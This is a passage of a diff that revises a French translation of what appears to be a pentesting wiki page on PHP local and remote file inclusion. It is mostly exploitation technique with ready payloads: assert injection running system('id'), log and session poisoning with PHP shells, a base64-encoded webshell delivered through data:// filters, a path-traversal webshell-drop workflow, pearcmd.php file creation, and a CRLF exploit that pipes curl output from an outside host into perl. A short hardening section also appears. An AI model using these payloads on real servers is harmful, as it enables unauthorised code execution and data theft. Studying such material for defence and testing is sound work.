post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie ne soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) utilisant php filters comme oracle. Cela vient du fait que les php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant les php filters comme oracle. En effet, les php filters peuvent être utilisés pour agrandir un texte suffisamment pour que php déclenche une exception. Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide : -- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte en tête et faire croître la taille de la chaîne de façon exponentielle. -- Ceci sera utilisé pour générer un **texte tellement volumineux lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**. -- Le filtre **dechunk** **supprimera tout si le premier char n'est pas hexadécimal**, donc on peut savoir si le premier char est hex. -- Ceci, combiné avec le précédent (et d'autres filters suivant la lettre devinée), permettra de deviner une lettre au début du texte en observant quand nous effectuons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale provoquera l'erreur php. -- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple parce qu'en appliquant 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée à cause de la multiplication avec la bombe initiale. -- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex). -- Quand le char initial est un chiffre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le chiffre. -- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters de réorganisation d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte. -- Et afin de pouvoir obtenir **données supplémentaires**, l'idée est de **générer 2 octets de junk data au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour le faire **basculer avec les 2 octets suivants**, et **supprimer les données jusqu'aux junk data** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak. +- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle. +- Cela permet de générer un **texte si volumineux lorsque la lettre initiale est correctement devinée** que php déclenchera une **erreur**. +- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc on peut savoir si le premier caractère est hex. +- Ceci, combiné avec le précédent (et d'autres filters selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand les transformations suffisent pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php. +- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple car si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée parce qu'elle se multiplie avec la bombe initiale. +- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex). +- Quand le caractère initial est un chiffre, il faut l'encoder en base64 et leak les 2 premières lettres pour leak le chiffre. +- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des caractères et de mettre en première position d'autres lettres du texte. +- Et pour pouvoir obtenir des **données supplémentaires** l'idée est de **générer 2 octets de données junk au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour les faire **pivoter avec les 2 octets suivants**, et **supprimer les données jusqu'aux données junk** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak. -Dans le post un outil pour automatiser cela a également été leaked : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Dans le post un outil pour effectuer cela automatiquement a aussi été leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd @@ -298,12 +299,12 @@ Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouv echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Vous pouvez aussi utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **file descriptors 0, 1 et 2** respectivement (je ne suis pas sûr de la manière dont cela pourrait être utile dans une attaque) +Vous pouvez aussi utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **descripteurs de fichier 0, 1 et 2** respectivement (je ne suis pas sûr de la façon dont cela pourrait être utile dans une attaque) ### zip:// and rar:// Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.\ -Pour pouvoir abuser du protocole rar, il doit **être activé spécifiquement**. +Pour pouvoir abuser du protocole rar, il **doit être activé spécifiquement**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -345,7 +346,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Pour compiler le fichier `.phar`, la commande suivante doit être exécutée : +Pour compiler le fichier `.phar`, exécutez la commande suivante : ```bash php --define phar.readonly=0 create_path.php ``` -Lors de l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité dans le cadre de Local File Inclusion (LFI). +À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour tirer parti de vulnérabilités de Local File Inclusion (LFI). -Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, on peut tenter d'exploiter une vulnérabilité de désérialisation liée à la lecture de fichiers en utilisant le protocole `phar`. +Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP contenu, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, il est possible de tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`. -Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, référez-vous au document lié ci-dessous : +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,32 +374,32 @@ phar-deserialization.md ### CVE-2024-2961 -Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir une RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Très rapide résumé : un **overflow de 3 octets** dans le heap PHP a été abusé pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\ +Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir un RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Très rapide résumé : un **overflow de 3 bytes** dans le heap PHP a été exploité pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, ainsi un hook a été ajouté pour appeler **`system`**.\ Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters. -### Autres protocoles +### More protocols -Consultez d'autres [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité dans une attaque d'inclusion de fichier) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque d'inclusion de fichier) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au filesystem local - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (ça ne retourne rien d'imprimable, donc pas vraiment utile ici) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un pattern (Ne renvoie rien d'imprimable, donc pas vraiment utile ici) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Pas utile pour lire des fichiers arbitraires) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires) -## LFI via PHP's 'assert' +## LFI via 'assert' de PHP -Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des strings. Cela devient particulièrement problématique si une entrée contenant des caractères de traversal comme ".." est vérifiée mais pas correctement assainie. +Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsque la fonction 'assert' est utilisée, car elle peut exécuter du code contenu dans des chaînes. Cela devient problématique si une entrée contenant des séquences de remontée de répertoires comme ".." est vérifiée mais pas correctement assainie. -Par exemple, le code PHP pourrait être conçu pour prévenir le directory traversal de la manière suivante : +Par exemple, un code PHP peut être conçu pour prévenir la traversée de répertoires comme suit : ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser : +Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour des attaques de code injection. Pour exploiter cela afin de lire le contenu des fichiers, un attacker pourrait utiliser : ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -406,18 +407,18 @@ De même, pour exécuter des commandes système arbitraires, on peut utiliser : ```plaintext ' and die(system("id")) or ' ``` -Il est important de **URL-encode these payloads**. +Il est important de **URL-encode ces payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin de fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) et que le contenu n'est pas affiché. +> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais où vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) car le contenu n'est pas affiché. -Dans [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment a blind path traversal peut être abusé via PHP filter pour **exfiltrer le contenu d'un fichier via un error oracle**. +Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment un blind path traversal peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un error oracle**. -En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **gros** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**. +En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**. -Ensuite, afin de leak le premier caractère, le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et finalement les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au beggining et les leak**. +Ensuite, afin de leak le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres caractères au début et les leak. **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -427,19 +428,19 @@ Pour les détails techniques, consultez l'article mentionné ! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quand du code côté serveur qui ingère/charge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex. un filename ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload sous un répertoire accessible depuis le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell. +Quand du code côté serveur qui ingère/télécharge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un nom de fichier ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload dans un répertoire exposé sur le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell. -Flux d'exploitation typique : -- Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex. ingestion pilotée par message, handlers de commandes XML/JSON, extracteurs ZIP, etc.). -- Déterminer les répertoires exposés au web. Exemples courants : +Typical exploitation workflow: +- Identifier un primitive d'écriture dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Déterminer les répertoires exposés sur le web. Exemples courants : - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Construire un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell. -- Parcourir le payload déposé et exécuter des commandes. +- Concevoir un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell. +- Accéder via le navigateur au payload déposé et exécuter des commandes. -Remarques : -- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex. un écouteur JMF XML sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload. +Notes: +- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload. - Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille principale. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): @@ -466,26 +467,26 @@ in.transferTo(out); ``` -Durcissement qui empêche cette classe de bugs : -- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base sur liste blanche. +Mesures de durcissement qui empêchent cette classe de vulnérabilités : +- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base autorisé. - Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés. -- Exécuter le writer avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies. +- Exécuter le processus d'écriture avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies. ## Remote File Inclusion Expliqué précédemment, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Par le fichier de log Apache/Nginx -Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **GET parameter** un php shell comme **``** et d'inclure ce fichier +Si le serveur Apache ou Nginx est **vulnérable à LFI** via la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **paramètre GET** un php shell comme **``** puis d'inclure ce fichier > [!WARNING] -> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés en la chaîne "_**quote;**_", **PHP lèvera une erreur** là et **rien d'autre ne sera exécuté**. +> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP renverra une erreur** et **rien d'autre ne sera exécuté**. > -> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité. +> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde chance. -Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être URL-encodé et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\ -Autres chemins de log possibles: +Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\ +Autres chemins de logs possibles: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -499,25 +500,25 @@ Autres chemins de log possibles: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Par e-mail +### Via Email -**Envoyer un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `` et essayer d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/`** ou **`/var/spool/mail/`** +**Envoyez un mail** à un compte interne (user@localhost) contenant votre PHP payload like `` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/`** ou **`/var/spool/mail/`** -### Via /proc/*/fd/* +### Via /proc/\*/fd/\* -1. Upload beaucoup de shells (par exemple : 100) -2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être récupéré par brute force) et $FD le descripteur de fichier (peut être récupéré par brute force aussi) +1. Upload un grand nombre de shells (par exemple : 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être brute forced) et $FD le file descriptor (peut aussi être brute forced) ### Via /proc/self/environ -Comme pour un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ +Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : `` ). +Si vous pouvez upload un fichier, injectez-y simplement le shell payload (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` @@ -525,18 +526,18 @@ Pour que le fichier reste lisible, il est préférable d'injecter dans les méta ### Via téléversement d'un fichier ZIP -Téléversez un fichier ZIP contenant un PHP shell compressé et accédez : +Téléversez un fichier ZIP contenant un PHP shell compressé et accédez à : ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Via PHP sessions -Vérifiez si le site web utilise PHP Session (PHPSESSID) +Vérifiez si le site utilise PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -Dans PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_. +En PHP, ces sessions sont stockées dans _/var/lib/php5/sess\\_\[PHPSESSID]\_ fichiers ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -545,32 +546,32 @@ Définissez le cookie sur `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Utilisez la LFI pour inclure le fichier de session PHP +Utilisez le LFI pour inclure le fichier de session PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh -Si ssh est actif, vérifiez quel utilisateur est en cours d'utilisation (/proc/self/status & /etc/passwd) et tentez d'accéder à **\/.ssh/id_rsa** +Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\/.ssh/id_rsa** ### **Via** **vsftpd** _**logs**_ -Les logs du serveur FTP vsftpd se trouvent dans _**/var/log/vsftpd.log**_. Dans le cas où une vulnérabilité Local File Inclusion (LFI) est présente et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées : +Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées : -1. Injectez un payload PHP dans le champ du nom d'utilisateur lors de la connexion. +1. Injectez un payload PHP dans le champ username lors du processus de login. 2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification d'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et appendra "php" au base64. Voici un exemple de payload : +Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et append "php" au base64. Voici un exemple de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (aucun fichier nécessaire) +### Via php filters (pas besoin de fichier) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** it into a file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters** pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **sans avoir besoin de l'écrire** dans un fichier. {{#ref}} @@ -579,16 +580,16 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Téléversez** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête**, provoquez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher. +**Upload** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** provoquez un **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le retrouver. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx temp file storage +### Via Nginx stockage de fichiers temporaires -Si vous trouvez une **Local File Inclusion** et que **Nginx** fonctionne devant PHP, vous pourriez obtenir une RCE avec la technique suivante : +Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en frontal de PHP, vous pourriez obtenir une RCE avec la technique suivante : {{#ref}} @@ -597,7 +598,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Si vous trouvez une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir une RCE : +Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de cela pour obtenir une RCE : {{#ref}} @@ -606,7 +607,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -Si vous trouvez une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE : +Si vous avez trouvé une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE : {{#ref}} @@ -615,13 +616,13 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de `=`, il doit être utilisé comme argument. Voir aussi [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) et [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Ce qui suit exploite une vuln CRLF pour obtenir une RCE (depuis [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +631,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Via phpinfo() (file_uploads = on) -Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on vous pouvez obtenir RCE : +Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE : {{#ref}} @@ -639,7 +640,7 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **server** **vérifie** si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** : +Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le path** du fichier temporaire MAIS que le **server** vérifie si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** : {{#ref}} @@ -648,23 +649,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file: +Si vous pouvez abuser de la LFI pour **téléverser des fichiers temporaires** et faire que le server **bloque** l'exécution PHP, vous pouvez alors **brute force** les noms de fichiers pendant des heures pour trouver le fichier temporaire : {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Vers une erreur fatale +### To Fatal Error -Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour déclencher cette erreur). +Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur). -**Je ne sais pas à quoi cela sert mais ça pourrait l'être.**\ -_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP uploadés sont supprimés._ +**Je ne sais pas en quoi c'est utile mais ça pourrait l'être.**\ +_Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP téléversés sont supprimés._
